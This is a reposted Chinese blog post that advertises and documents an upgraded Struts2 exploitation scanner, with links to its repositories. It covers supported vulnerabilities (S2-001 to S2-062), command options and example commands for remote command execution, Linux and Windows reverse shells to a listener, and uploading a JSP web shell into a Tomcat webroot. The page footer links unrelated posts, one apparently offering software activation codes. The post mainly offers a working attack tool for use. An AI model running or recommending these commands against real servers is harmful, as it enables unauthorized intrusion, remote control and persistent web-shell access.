struts2综合漏洞扫描工具

struts2综合漏洞扫描工具python扫描工具更新2022-4-161.添加了S2-062漏洞利用其实是对S2-061漏洞的绕过支持命令执行,Linux反弹shell,windows反弹shell。2.解决了了Windows反弹shell的功能底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令不成功的问题。详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?#《使用j

大家好,又见面了,我是你们的朋友全栈君。

python扫描工具更新2022-4-16

1.添加了S2-062漏洞利用
其实是对S2-061漏洞的绕过
支持命令执行,Linux反弹shell,windows反弹shell。
2.解决了了Windows反弹shell的功能
底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令
不成功的问题。
详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?# 《使用java命令执行函数反弹windows-shell》

工具地址https://github.com/Vancomycin-g/Struts2Scan/
里面有两个工具,一个是python编写的工具,另一个是jar文件
python工具是改变大佬的。jar文件是在网络上找的。

java工具

优点

1.扫描比较稳定
2.误报情况少,
3.可视化,方便操作

缺点

1.无法指定payload进行利用
2.无法反弹shell
3.无S2-061 payload

用法

直接一键扫描就行了,简单粗暴

python工具

优点

1.大多payload支持Linux反弹shell,少部分payload支持windows反弹shell
2.可以自己选可以使用的payload.
3.有S2-061 payload

缺点

1.稳定性优化的还可以,可能存在误报情况,
2.有许多命令参数。

工具介绍

原作者:github地址:https://github.com/HatBoy/Struts2-Scan
感谢原作者开源的工具
此次是在原有的基础上进行升级,优化。
升级内容:

1.添加了S2-061漏洞
2.优化了误报情况。
3.个别添加了windows反弹shell功能。
4.原来参数-r ip:port修改成了,
-lr ip:port 反弹Linuxshell
-wr ip:port反弹Windows shell
5.还有其他细微的地方

Struts2-Scan

  • Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057,S2-061,S2-062
  • 支持单个URL漏洞检测和批量URL检测,指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持

运行环境

工具参数说明

Usage: Struts2Scan.py [OPTIONS]

  Struts2批量扫描利用工具

Options:
  -i, --info          漏洞信息介绍
  -v, --version       显示工具版本
  -u, --url TEXT      URL地址
  -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
  -f, --file TEXT     批量扫描URL文件, 一行一个URL
  -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
  -c, --encode TEXT   页面编码, 默认UTF-8编码
  -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
  -t, --timeout TEXT  HTTP超时时间, 默认10s
  -w, --workers TEXT  批量扫描进程数, 默认为10个进程
  --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
  -e, --exec          进入命令执行shell
  --webpath           获取WEB路径
  -lr, --Linux_reverse TEXT  反弹Linux shell地址, 格式为ip:port
  -wr, --Win_reverse TEXT  反弹Windows shell地址, 格式为ip:port
  --upfile TEXT       需要上传的文件路径和名称
  --uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
  -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
  -h, --help          Show this message and exit.

使用例子

查看漏洞详细信息:

$ python3 Struts2Scan.py --info

单个URL漏洞检测:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action

批量漏洞检测:

$ python3 Struts2Scan.py -f urls.txt

指定POST数据:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

常用方法

# 命令执行
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016  -e



# 反弹Linux shell
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -lr 192.168.100.8:8888


# 反弹Windows shell
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -wr 192.168.100.8:8888

# 上传shell
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp


版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161733.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 芯片行业未来_为什么中国没有自己的芯片架构

    芯片行业未来_为什么中国没有自己的芯片架构【CSDN编者按】随着设备扩展带来的效益越来越少,人们开始设计内置AI的系统,以在本地处理更多数据。芯片制造商正在研究一种新的结构,这种结构能够显著增加每能耗和每个时钟周…

    2025年9月29日
    3
  • 2022. clion激活码【2022最新】2022.01.23

    (2022. clion激活码)JetBrains旗下有多款编译器工具(如:IntelliJ、WebStorm、PyCharm等)在各编程领域几乎都占据了垄断地位。建立在开源IntelliJ平台之上,过去15年以来,JetBrains一直在不断发展和完善这个平台。这个平台可以针对您的开发工作流进行微调并且能够提供…

    2022年3月31日
    2.0K
  • 等价类划分法测试用例设计举例「建议收藏」

    等价类划分法测试用例设计举例「建议收藏」一、基本概念等价类是指程序输入域的子集。等价类划分(EquivalancePartitioning)测试的思想:将程序的输入域划分为若干个区域(等价类),并在每个等价类中选择一个具有代表性的元素生成测试用例。该方法是常用的黑盒(BlackboxTesting)测试用例(Testcase)设计方法。一)划分等价类1.有效等价类与无效等价类…

    2022年10月18日
    2
  • sql定义变量的语法是什么_sql 定义变量

    sql定义变量的语法是什么_sql 定义变量有的时候在查询更新数据库的时候,需要多条语句的查询,因此需要多次修改declare可以满足多次执行,但数据只修改一次。declare @local_variabledata_typeDECLARE:定义变量,变量第一个字母是“@”声明时需要指定变量的类型,可以使用set和select对变量进行赋值,在sql语句中就可以使用@local

    2022年8月20日
    14
  • resnet18 pytorch_如何搭建服务器

    resnet18 pytorch_如何搭建服务器参照ResNet50的搭建,由于50层以上几乎相同,叠加卷积单元数即可,所以没有写注释。101和152的搭建注释可以参照我的ResNet50搭建中的注释:训练可以参照我的ResNet18搭建中的训练部分:ResNet101和152可以依旧参照ResNet50的网络图片:上代码:ResNet101的model.py模型:importtorchimporttorch.nnasnnfromtorch.nnimportfunctionalasFclassDownSampl

    2022年10月6日
    2
  • 运算放大器加法器设计学习笔记

    运算放大器加法器设计学习笔记运算放大器构成加法器可以分为同相加法器和反相加法器第一种 同相加法器举个栗子 Vin1 0 4 Sin wt 也就是一个正弦信号 Vin2 1V 那么要实现两个信号的叠加而且相位不发生变化 也就是 Vout 1 0 4Sin wt 那么就可以使用同相加法器 也就是需要实现如下过程 图片极其丑陋 请略过 笑哭原理图如下图所示 借用网上的图 那么怎么计算这些电阻的取值呢 首先这里的输入端是相当于有两个电压源 那么为了确定每一个源在 V

    2025年10月31日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号